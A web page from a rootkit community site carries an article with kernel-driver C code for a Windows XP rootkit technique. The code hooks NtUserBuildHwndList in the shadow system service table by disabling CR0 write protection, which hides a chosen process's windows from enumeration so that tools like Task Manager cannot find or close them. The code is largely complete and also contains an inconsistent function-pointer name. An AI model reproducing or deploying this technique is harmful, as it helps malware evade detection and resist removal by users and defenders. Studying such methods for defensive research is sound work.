 main menuhome
forums Show me new threads!
bookmarks
post article
view blogs
vault you must be level 2 to upload files to your vault
downloads you must be logged to access downloads
Rootkit Collection
A news back-end to implement RootKit news into your website is here or more advanced version here.
An XML/RSS feed that includes both NEWS and BLOGS for RootKit is here: XML/RSS.
Beta feed for replied posts here. feedback to admins not forums, we know about times being off...
|
ROOTKIT
Share Your Old Stuff, Keep Your Good Stuff
|
Saturday July 31st |
| | Featured Article: Nostalgia: n00bk1t, an advanced ring3 rootkit in C by jeffosz | Hiding Window Handles through Shadow Table Hooking on Windows XP By: metro_mysteryEndless tracing in Soft-ice, patience in IDA and one function- EnumChildWindows() lead to the discovery that kernel-mode window handle hiding is only another possibility in the forever expanding list of rootkit technology. Although it begs the question; why would you need to hide a window handle in the first place if the concept of a root kit is based on that of stealth and invisibility? Rootkits (especially those implemented in drivers) aren’t going to be popping up too many windows and dialogs. It’s more a case of invincibility rather than invisibility; if an application (such as taskmgr.exe) can’t find a handle to a particular window- it can’t close it. Although hooking ZwTerminateProcess() and returning STATUS_ACCESS_DENIED usually assures a process won’t be terminated; it won’t hide your window handles or prevent any application from sending WM_CLOSE messages to it’s message queue. A quick disassembly of EnumChildWindows(), one of ‘the’ user-mode functions for window enumerations (child and top level alike), showed that user32.dll loads *0x138 into edx register- the call number for the kernel mode function NtUserBuildHwndList() found in the system service table of win32k functions- right before the system switches to kernel-mode and executes it. After some careful internal analysis, it became apparent that NtUserBuildHwndList() constructs a list/array of certain window handles based on the values of variables passed in through the argument list. It then assigns to a passed in pointer (pHandleList) the address of the beginning of this list, and copies the number of handles the list contains into yet another parameter variable (* HandlesInBufferCount).
NTSTATUS NTAPI
NtUserBuildHwndList(
IN ULONG ARG_1,
IN ULONG hParentWnd,
IN ULONG HwndListType,
IN ULONG ThreadId,
OUT ULONG ARG_5,
OUT ULONG* pHandleList,
OUT ULONG* HandlesInBufferCount
)
Parameters ARG_1 [in] Always seems to be 0x00000000. hParentWnd [in] The unique window handle ID of the parent window who’s children are being enumerated; this parameter is only used in the HwndListType parameter [below is set to 0x00000001 HwndListType [in] 0x00000000 for a list of all the top level windows in the system or 0x00000001 for a list of all child windows belonging to a parent [specified in the hParentWnd parameter above]. ThreadId [in] If set; will return a window list containing all windows created by or belonging to the ThreadId. ARG_5 [out] Not fully understood; sometimes contains the same value returned in HandlesInBufferCount, but not always. pHandleList [out] pointer to the first window handle in the list/array – next entry is +4 bytes. The list is delimited with a value of 0x00000001 however, it is probably better to use the value returned in HandlesInBufferCount [below] to find the number of items and the end of the list. HandlesInBufferCount [out] The number of window handles in the list Return Value The return value is one of the NT STATUS codes. Hooking functions such as NtUserBuildHwndList() in the KeServiceDescriptorTableShadow is a little more complicated than intercepting those regular system services in the exported KeServiceDescriptorTable. Briefly, an easier way to do this involves writing a simple user-mode process that creates a symbolic link to the driver in a thread that has previously called IsGuiThread(TRUE). This same thread then calls DeviceIoControl() on the driver and passes down a control message like IO_HOOK_SYSTEM_SERVICES. Here the address of the table is just hard-coded at *0x80544BC0.
typedef struct tag_SYSTEM_SERVICE_TABLE {
PULONG ServiceTable; // array of entry points
PULONG CounterTable; // array of usage counters
ULONG ServiceLimit; // number of table entries
PCHAR ArgumentTable; // array of argument counts
} SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE, **PPSYSTEM_SERVICE_TABLE;
// structure of a Service Descriptor Table. (KeServiceDescriptorTable
// and the non-exported KeServiceDescriptorTableShadow).
typedef struct tag_SERVICE_DESCRIPTOR_TABLE {
SYSTEM_SERVICE_TABLE ntoskrnl; // main native API table
SYSTEM_SERVICE_TABLE win32k; // win subsystem
SYSTEM_SERVICE_TABLE sst3;
SYSTEM_SERVICE_TABLE sst4;
} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE, **PPSERVICE_DESCRIPTOR_TABLE;
…
void UnhookSystemServices()
{
_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}
if(_callnumber_NtUserBuildHwndList)
(NTUSERBUILDHWNDLIST)
KeServiceDescriptorTableShadow->win32k.ServiceTable[_callnumber_NtUserBuildHwndList]
= OldNtUserBuildHwndList;
_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
}
…
void HookSystemServices()
{
if(_callnumber_NtUserQueryWindow)
pNtUserQueryWindow =
(NTUSERQUERYWINDOW)KeServiceDescriptorTableShadow->win32k.ServiceTable[_callnumber_NtUserQueryWindow];
if(_callnumber_NtUserBuildHwndList)
OldNtUserBuildHwndList =
(NTUSERBUILDHWNDLIST)KeServiceDescriptorTableShadow->win32k.ServiceTable[_callnumber_NtUserBuildHwndList];
_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}
if(_callnumber_NtUserBuildHwndList)
(NTUSERBUILDHWNDLIST)KeServiceDescriptorTableShadow->win32k.ServiceTable[_callnumber_NtUserBuildHwndList]
= NewNtUserBuildHwndList;
_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
}
…
NTSTATUS IoControl(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
NTSTATUS status = STATUS_SUCCESS;
ULONG controlCode;
PIO_STACK_LOCATION irpStack;
HANDLE hEvent;
OBJECT_HANDLE_INFORMATION objHandleInfo;
LONG* outBuf;
ULONG* inBuf;
PKTHREAD CurrentThread;
irpStack = IoGetCurrentIrpStackLocation(Irp);
controlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
switch(controlCode)
{
case IO_UNHOOK_SYSTEM_SERVICES:
{
UnhookSystemServices();
break;
}
case IO_HOOK_SYSTEM_SERVICES:
{
KeServiceDescriptorTableShadow = (PSERVICE_DESCRIPTOR_TABLE)0x80544BC0;
SetupCallNumbers();
HookSystemServices();
break;
}
case IO_SEND_HIDDEN_PROCESS_ID:
{
inBuf = Irp->AssociatedIrp.SystemBuffer;
HiddenProcessId = *inBuf;
break;
}
default:
break;
}
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
Once successfully hooked, inside our function we must- 1) Call the original NtUserBuildHwndList() to obtain the real window list. 2) Determine whether the preceding call was a STATUS_SUCCESS and if so, dynamically modify this list of window handle entries returned by (1) and update any changes made in HandlesInBufferCount. 3) In our hooked function return STATUS_SUCCESS- in effect passing to whatever user-mode application is requesting it a modified list containing all windows but those belonging to a specific process. Step 2 is a rather complicated- since we’re in kernel-mode, we don’t have functions like GetWindowThreadProcessId() to match a window handle ID to a process. Using IRPs, we could pass this information to user-mode, ask it to check the value and report back to the driver; but this is rather extensive and messy. Instead, tracing through GetWindowThreadProcessId() showed that if a process is requesting information on a window handle not belonging to one of its own threads; it relies on the system service, NtUserQueryWindow() *(call number 0x1E3) to get the process/thread ID .
ULONG NtUserQueryWindow(
IN ULONG WindowHandle,
IN ULONG TypeInformation
)
Parameters WindowHandle [in] The unique window handle ID of the window who’s process is being queried. TypeInformation [in] 0x00000000 for ProcessID, 0x00000001 for ThreadID Return Value The return value is the Process ID or Thread ID owning the WindowHandle. Putting it all together, our new hook function should look something like…
NTSTATUS NTAPI
NewNtUserBuildHwndList(
IN ULONG ARG_1,
IN ULONG hParentWnd,
IN ULONG HwndListType,
IN ULONG ThreadId,
IN ULONG ARG_5,
OUT ULONG* pHandleList,
OUT ULONG* HandlesInBufferCount
)
{
NTSTATUS Status;
ULONG RealHwndIndex = 0;
ULONG FakeHwndIndex = 0;
ULONG JumpIndex = 0;
ULONG ProcessID;
ULONG ModifiedHandlesInBufferCount;
Status = OldNtUserBuildHwndList(ARG_1, hParentWnd, HwndListType, ThreadId, ARG_5,
pHandleList, HandlesInBufferCount);
if(STATUS_SUCCESS == Status)
{
ModifiedHandlesInBufferCount = *HandlesInBufferCount;
for(RealHwndIndex = 0, FakeHwndIndex = 0;
FakeHwndIndex < *HandlesInBufferCount;
RealHwndIndex++, FakeHwndIndex++)
{
ProcessID = pNtUserQueryWindow(pHandleList[FakeHwndIndex], 0);
if(HiddenProcessId == ProcessID)
{
for(JumpIndex = 1;
HiddenProcessId == (ProcessID = pNtUserIHaveNoIdea( pHandleList[ FakeHwndIndex + JumpIndex], 0));
JumpIndex++)
{
}
ModifiedHandlesInBufferCount =
ModifiedHandlesInBufferCount - JumpIndex;
FakeHwndIndex = FakeHwndIndex + JumpIndex;
}
pHandleList[RealHwndIndex] = pHandleList[FakeHwndIndex];
}
*HandlesInBufferCount = ModifiedHandlesInBufferCount;
}
return Status;
}
Where HiddenProcessId is defined as a global variable denoting the process ID that all associated window handles should be hidden. That’s it- you’re windows are hidden ;) *[This was tested on Windows XP with no service pack installed (build number 2600) and includes some hard-coded offsets and non-exported win32k function call numbers. With little modification, this code can be adopted to run on other versions of Windows]
|
| |
ROOTKITS, Subverting the Windows Kernel
By: Greg Hoglund and Jamie Butler
Rootkits are powerful tools to compromise computer systems without detection. Get the original and best book on the subject here.
|
active for last 5 minutes
registered users:79912
There are currently 0 registered users and 22 guests browsing the website.
Welcome our latest registered user: Pris
| Jul 31, 12:06 |
| May 09, 04:30 |
| May 08, 15:33 |
| May 04, 15:42 |
| May 02, 03:59 |
| Best Screenshots / Analog |
| the most active news users |
based on the number of news posts for last 30 days
|